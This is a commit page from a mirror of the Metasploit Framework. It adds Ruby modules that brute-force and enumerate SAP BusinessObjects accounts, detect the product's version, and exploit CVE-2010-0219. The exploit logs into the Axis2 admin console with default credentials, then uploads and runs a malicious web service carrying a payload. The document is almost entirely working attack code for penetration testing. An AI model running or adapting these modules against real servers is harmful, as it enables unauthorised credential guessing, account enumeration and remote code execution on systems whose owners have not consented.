mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-05 14:57:30 +01:00
add sap businessobject modules from jabra, woot!
git-svn-id: file:///home/svn/framework3/trunk@11046 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Joshua Drake
parent
bd7f6eec10
commit
25611afb6c
117
modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb
Executable file
117
modules/auxiliary/scanner/http/sap_businessobjects_user_brute.rb
Executable file
@ -0,0 +1,117 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP BusinessObjects User Bruteforcer',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'This module simply attempts to bruteforce SAP BusinessObjects users. The dswsbobje interface is only used to verify valid credentials for CmcApp. Therefore, any valid credentials that have been identified can be leveraged by logging into CmcApp.',
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
[ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ]
|
||||
],
|
||||
'Author' => [ 'Joshua Abraham <jabra[at]rapid7.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('URI', [false, 'Path to the SAP BusinessObjects Axis2', '/dswsbobje']),
|
||||
OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request",
|
||||
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]),
|
||||
], self.class)
|
||||
register_autofilter_ports([ 8080 ])
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => "/dswsbobje/services/listServices",
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'User-Agent' => datastore['UserAgent']
|
||||
}
|
||||
|
||||
}, 25)
|
||||
return if not res
|
||||
|
||||
each_user_pass { |user, pass|
|
||||
enum_user(user,pass)
|
||||
}
|
||||
end
|
||||
|
||||
def enum_user(user='administrator', pass='pass')
|
||||
verbose = datastore['VERBOSE']
|
||||
vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' password:'#{pass}'")
|
||||
success = false
|
||||
soapenv='http://schemas.xmlsoap.org/soap/envelope/'
|
||||
xmlns='http://session.dsws.businessobjects.com/2007/06/01'
|
||||
xsi='http://www.w3.org/2001/XMLSchema-instance'
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
||||
data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '" xmlns:ns="' + xmlns + '">' + "\r\n"
|
||||
data << '<soapenv:Body>' + "\r\n"
|
||||
data << '<login xmlns="' + xmlns + '">' + "\r\n"
|
||||
data << '<credential xmlns="' + xmlns + '" xmlns:ns="' + xmlns + '" xmlns:xsi="' + xsi + '" Login="' + user + '" Password="' + pass + '" xsi:type="ns:EnterpriseCredential" />' + "\r\n"
|
||||
data << '</login>' + "\r\n"
|
||||
data << '</soapenv:Body>' + "\r\n"
|
||||
data << '</soapenv:Envelope>' + "\r\n\r\n"
|
||||
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['URI']}/services/Session",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/login' + '"',
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
}, 45)
|
||||
return :abort if (res.code == 404)
|
||||
success = true if(res.body.match(/SessionInfo/i))
|
||||
success
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("#{rhost}:#{rport} - Unable to attempt authentication")
|
||||
return :abort
|
||||
end
|
||||
|
||||
if success
|
||||
print_good("#{rhost}:#{rport} - Successful login '#{user}' : '#{pass}'")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:proto => 'sap-businessobjects',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:target_host => rhost,
|
||||
:target_port => rport
|
||||
)
|
||||
return :next_user
|
||||
else
|
||||
vprint_error("#{rhost}:#{rport} - Failed to login as '#{user}'")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
110
modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb
Executable file
110
modules/auxiliary/scanner/http/sap_businessobjects_user_brute_web.rb
Executable file
@ -0,0 +1,110 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP BusinessObjects Web User Bruteforcer',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'This module simply attempts to bruteforce SAP BusinessObjects users by using CmcApp.',
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
[ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ]
|
||||
],
|
||||
'Author' => [ 'Joshua Abraham <jabra[at]rapid7.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(6405),
|
||||
OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request",
|
||||
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]),
|
||||
], self.class)
|
||||
register_autofilter_ports([ 6405 ])
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => "/PlatformServices/service/app/logon.object",
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'User-Agent' => datastore['UserAgent']
|
||||
}
|
||||
|
||||
}, 25)
|
||||
return if not res
|
||||
|
||||
each_user_pass { |user, pass|
|
||||
enum_user(user,pass)
|
||||
}
|
||||
end
|
||||
|
||||
def enum_user(user, pass)
|
||||
verbose = datastore['VERBOSE']
|
||||
vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' password: '#{pass}'")
|
||||
success = false
|
||||
data = 'isFromLogonPage=true&cms=127.0.1%3A6400'
|
||||
data << "&username=#{Rex::Text.uri_encode(user.to_s)}"
|
||||
data << "&password=#{Rex::Text.uri_encode(pass.to_s)}"
|
||||
data << '&authType=secEnterprise&backUrl=%2FApp%2Fhome.faces'
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/PlatformServices/service/app/logon.object',
|
||||
'data' => data,
|
||||
'method' => 'POST',
|
||||
'headers' =>
|
||||
{
|
||||
'Connection' => "keep-alive",
|
||||
'Accept-Encoding' => "gzip,deflate",
|
||||
},
|
||||
}, 45)
|
||||
return :abort if (res.code != 200)
|
||||
if(res.body.match(/Account Information/i))
|
||||
success = false
|
||||
else
|
||||
success = true
|
||||
success
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("[SAP BusinessObjects] Unable to attempt authentication")
|
||||
return :abort
|
||||
end
|
||||
|
||||
if success
|
||||
print_good("[SAP BusinessObjects] Successful login '#{user}' password: '#{pass}'")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:proto => 'sap-businessobjects',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:target_host => rhost,
|
||||
:target_port => rport
|
||||
)
|
||||
return :next_user
|
||||
else
|
||||
vprint_error("[SAP BusinessObjects] failed to login as '#{user}' password: '#{pass}'")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
114
modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb
Executable file
114
modules/auxiliary/scanner/http/sap_businessobjects_user_enum.rb
Executable file
@ -0,0 +1,114 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP BusinessObjects User Enumeration',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'This module simply attempts to enumerate SAP BusinessObjects users.The dswsbobje interface is only used to verify valid users for CmcApp. Therefore, any valid users that have been identified can be leveraged by logging into CmcApp.',
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
[ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ]
|
||||
],
|
||||
'Author' => [ 'Joshua Abraham <jabra[at]rapid7.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('URI', [false, 'Path to the SAP BusinessObjects Axis2', '/dswsbobje']),
|
||||
OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request",
|
||||
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]),
|
||||
], self.class)
|
||||
register_autofilter_ports([ 8080 ])
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => "/#{datastore['URI']}/services/listServices",
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'User-Agent' => datastore['UserAgent']
|
||||
}
|
||||
|
||||
}, 25)
|
||||
return if not res
|
||||
|
||||
each_user_pass { |user, pass|
|
||||
enum_user(user)
|
||||
}
|
||||
end
|
||||
|
||||
def enum_user(user='administrator', pass='invalid-sap-password-0d03b389-b7a1-4ecc-8898-e62d1836b72a')
|
||||
verbose = datastore['VERBOSE']
|
||||
vprint_status("#{rhost}:#{rport} - Enumerating username:'#{user}'")
|
||||
success = false
|
||||
soapenv='http://schemas.xmlsoap.org/soap/envelope/'
|
||||
xmlns='http://session.dsws.businessobjects.com/2007/06/01'
|
||||
xsi='http://www.w3.org/2001/XMLSchema-instance'
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
||||
data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '" xmlns:ns="' + xmlns + '">' + "\r\n"
|
||||
data << '<soapenv:Body>' + "\r\n"
|
||||
data << '<login xmlns="' + xmlns + '">' + "\r\n"
|
||||
data << '<credential xmlns="' + xmlns + '" xmlns:ns="' + xmlns + '" xmlns:xsi="' + xsi + '" Login="' + user + '" Password="' + pass + '" xsi:type="ns:EnterpriseCredential" />' + "\r\n"
|
||||
data << '</login>' + "\r\n"
|
||||
data << '</soapenv:Body>' + "\r\n"
|
||||
data << '</soapenv:Envelope>' + "\r\n\r\n"
|
||||
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['URI']}/services/Session",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/login' + '"',
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
}, 45)
|
||||
|
||||
if res
|
||||
return :abort if (res.code == 404)
|
||||
success = true if(res.body.match(/Invalid password/i))
|
||||
success
|
||||
else
|
||||
vprint_error("[SAP BusinessObjects] No response")
|
||||
return :abort
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
vprint_error("[SAP BusinessObjects] Unable to attempt authentication")
|
||||
return :abort
|
||||
end
|
||||
|
||||
if success
|
||||
print_good("[SAP BusinessObjects] Found valid username : '#{user}'")
|
||||
return :next_user
|
||||
else
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
118
modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb
Executable file
118
modules/auxiliary/scanner/http/sap_businessobjects_version_enum.rb
Executable file
@ -0,0 +1,118 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP BusinessObjects Version Detection',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'This module simply attempts to identify the version of SAP BusinessObjects.',
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
[ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ]
|
||||
],
|
||||
'Author' => [ 'Joshua Abraham <jabra[at]rapid7.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('URI', [false, 'Path to the SAP BusinessObjects Axis2', '/dswsbobje']),
|
||||
OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request",
|
||||
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]),
|
||||
], self.class)
|
||||
register_autofilter_ports([ 8080 ])
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => "/#{datastore['URI']}/services/listServices",
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'User-Agent' => datastore['UserAgent']
|
||||
}
|
||||
|
||||
}, 25)
|
||||
return if not res
|
||||
|
||||
enum_version(ip)
|
||||
end
|
||||
|
||||
def enum_version(rhost)
|
||||
verbose = datastore['VERBOSE']
|
||||
print_status("Identifying SAP BusinessObjects on #{rhost}:#{rport}")
|
||||
success = false
|
||||
soapenv='http://schemas.xmlsoap.org/soap/envelope/'
|
||||
xmlns='http://session.dsws.businessobjects.com/2007/06/01'
|
||||
xsi='http://www.w3.org/2001/XMLSchema-instance'
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
||||
data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '" xmlns:ns="' + xmlns + '">' + "\r\n"
|
||||
data << '<soapenv:Header/>' + "\r\n"
|
||||
data << '<soapenv:Body>' + "\r\n"
|
||||
data << '<ns:getVersion/>' + "\r\n"
|
||||
data << '</soapenv:Body>' + "\r\n"
|
||||
data << '</soapenv:Envelope>' + "\r\n\r\n"
|
||||
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['URI']}/services/Session",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/getVersion' + '"',
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
}, 15)
|
||||
|
||||
if res.code == 200
|
||||
case res.body
|
||||
when nil
|
||||
# Nothing
|
||||
when /<Version xmlns=".*">(.*)<\/Version><\/getVersionResponse>/
|
||||
version = "#{$1}"
|
||||
success = true
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("[SAP BusinessObjects] Unable to attempt authentication")
|
||||
return :abort
|
||||
end
|
||||
|
||||
if success
|
||||
print_good("[SAP BusinessObjects] Version: #{version}")
|
||||
return
|
||||
else
|
||||
print_error("[SAP BusinessObjects] failed to identify version")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
274
modules/exploits/multi/http/axis2_deployer.rb
Executable file
274
modules/exploits/multi/http/axis2_deployer.rb
Executable file
@ -0,0 +1,274 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit
|
||||
Rank = ExcellentRanking
|
||||
|
||||
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Axis2 / SAP BusinessObjects dswsbobje Upload Exec',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'This module logins to a Axis2 Web Admin Module instance using a specific user/pass and uploads and executes commands via deploying a malicious web service by using SOAP.',
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
[ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ],
|
||||
[ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ],
|
||||
[ 'CVE', '2010-0219' ],
|
||||
],
|
||||
'Platform' => [ 'java', 'win', 'linux' ], # others?
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Java', {
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => 'java'
|
||||
},
|
||||
],
|
||||
#
|
||||
# Platform specific targets only
|
||||
#
|
||||
[ 'Windows Universal',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win'
|
||||
},
|
||||
],
|
||||
|
||||
[ 'Linux X86',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux'
|
||||
},
|
||||
],
|
||||
],
|
||||
'Author' => [ 'Joshua Abraham <jabra[at]rapid7.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
|
||||
OptString.new('PASSWORD', [ false, 'The password for the specified username','axis2' ]),
|
||||
OptString.new('PATH', [ true, "The URI path of the axis2 app (use /dswsbobje for SAP BusinessObjects)", '/axis2'])
|
||||
], self.class)
|
||||
register_autofilter_ports([ 8080 ])
|
||||
end
|
||||
|
||||
def upload_exec(session)
|
||||
contents=''
|
||||
name = Rex::Text.rand_text_alpha(8)
|
||||
services_xml = %Q{
|
||||
<service name="#{name}" scope="application">
|
||||
<description>
|
||||
#{Rex::Text.rand_text_alphanumeric(50 + rand(50))}
|
||||
</description>
|
||||
<messageReceivers>
|
||||
<messageReceiver
|
||||
mep="http://www.w3.org/2004/08/wsdl/in-only"
|
||||
class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/>
|
||||
<messageReceiver
|
||||
mep="http://www.w3.org/2004/08/wsdl/in-out"
|
||||
class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>
|
||||
</messageReceivers>
|
||||
<parameter name="ServiceClass">
|
||||
metasploit.PayloadServlet
|
||||
</parameter>
|
||||
</service>
|
||||
}
|
||||
if target.name =~ /Java/
|
||||
zip = payload.encoded_jar
|
||||
zip.add_file("META-INF/services.xml", services_xml)
|
||||
|
||||
# We need this class as a wrapper to run in a thread. For some reason
|
||||
# the Payload class is giving illegal access exceptions without it.
|
||||
path = File.join(Msf::Config.install_root, "data", "java", "metasploit", "PayloadServlet.class")
|
||||
fd = File.open(path, "rb")
|
||||
servlet = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
zip.add_file("metasploit/PayloadServlet.class", servlet)
|
||||
|
||||
contents = zip.pack
|
||||
else
|
||||
|
||||
end
|
||||
|
||||
boundary = rand_text_alphanumeric(6)
|
||||
|
||||
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"filename\"; "
|
||||
data << "filename=\"#{name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
|
||||
data << contents
|
||||
data << "\r\n--#{boundary}--"
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['PATH']}/axis2-admin/upload",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
|
||||
'Content-Length' => data.length,
|
||||
'Cookie' => "JSESSIONID=#{session}",
|
||||
}
|
||||
}, 25)
|
||||
|
||||
if (res and res.code == 200)
|
||||
print_status("Successfully uploaded")
|
||||
else
|
||||
print_error("Error uploading #{res}")
|
||||
return
|
||||
end
|
||||
=begin
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp",
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'Cookie' => "JSESSIONID=#{session}",
|
||||
}
|
||||
}, 25)
|
||||
puts res.body
|
||||
puts res.code
|
||||
if res.code > 200 and res.code < 300
|
||||
if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) )
|
||||
dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\"
|
||||
puts dir
|
||||
else
|
||||
if ( a.scan(/catalina\.home<\/th><td style=".*">(.*) <\/td>/i) )
|
||||
dir = $1 + "/webapps/dswsbobje/WEB-INF/services/"
|
||||
puts dir
|
||||
end
|
||||
end
|
||||
end
|
||||
=end
|
||||
|
||||
|
||||
soapenv='http://schemas.xmlsoap.org/soap/envelope/'
|
||||
xmlns='http://session.dsws.businessobjects.com/2007/06/01'
|
||||
xsi='http://www.w3.org/2001/XMLSchema-instance'
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
||||
data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '" xmlns:ns="' + xmlns + '">' + "\r\n"
|
||||
data << '<soapenv:Header/>' + "\r\n"
|
||||
data << '<soapenv:Body>' + "\r\n"
|
||||
data << '<soapenv:run/>' + "\r\n"
|
||||
data << '</soapenv:Body>' + "\r\n"
|
||||
data << '</soapenv:Envelope>' + "\r\n\r\n"
|
||||
|
||||
print_status("Polling to see if the service is ready")
|
||||
1.upto 3 do
|
||||
Rex::ThreadSafe.sleep(3)
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['PATH']}/services/#{name}",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"',
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
}, 15)
|
||||
if res.code > 200 and res.code < 300
|
||||
print_status("")
|
||||
print_status("NOTE: You will need to delete the web service that was uploaded.")
|
||||
print_status("Using meterpreter:")
|
||||
print_status("rm \"webapps/#{datastore['PATH']}/WEB-INF/services/#{name}.jar\"")
|
||||
print_status("Using the shell:")
|
||||
print_status("cd \"webapps/#{datastore['PATH']}/WEB-INF/services\"")
|
||||
print_status("del #{name}.jar")
|
||||
print_status("")
|
||||
break
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
=begin
|
||||
useful for axis2 or REST
|
||||
# Try to execute the payload
|
||||
1.upto 5 do
|
||||
Rex::ThreadSafe.sleep(3)
|
||||
print_status("Polling to see if the service is ready")
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['PATH']}/services/#{name}/run",
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'Cookie' => "JSESSIONID=#{session}",
|
||||
}
|
||||
}, 25)
|
||||
if res.code >= 200 and res.code < 300
|
||||
# This should usually mean we got a shell
|
||||
break
|
||||
end
|
||||
end
|
||||
=end
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
user = datastore['USERNAME']
|
||||
pass = datastore['PASSWORD']
|
||||
path = datastore['PATH']
|
||||
success = false
|
||||
srvhdr = '?'
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'POST',
|
||||
'uri' => "/#{path}/axis2-admin/login",
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'data' => "userName=#{user}&password=#{pass}&submit=+Login+",
|
||||
}, 25)
|
||||
|
||||
if not (res.kind_of? Rex::Proto::Http::Response)
|
||||
raise RuntimeError.new("http://#{rhost}:#{rport}/#{path}/axis2-admin not responding")
|
||||
end
|
||||
|
||||
if res.code == 404
|
||||
raise RuntimeError.new("http://#{rhost}:#{rport}/#{path}/axis2-admin returned code 404")
|
||||
end
|
||||
|
||||
srvhdr = res.headers['Server']
|
||||
if res.code == 200
|
||||
# Could go with res.headers["Server"] =~ /Apache-Coyote/i
|
||||
# as well but that seems like an element someone's more
|
||||
# likely to change
|
||||
|
||||
success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
|
||||
if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)
|
||||
session = $1
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("http://#{rhost}:#{rport}/#{path}/axis2-admin Unable to attempt authentication")
|
||||
end
|
||||
|
||||
if success
|
||||
print_good("http://#{rhost}:#{rport}/#{path}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")
|
||||
upload_exec(session)
|
||||
else
|
||||
print_error("http://#{rhost}:#{rport}/#{path}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
Loading…
Reference in New Issue
Block a user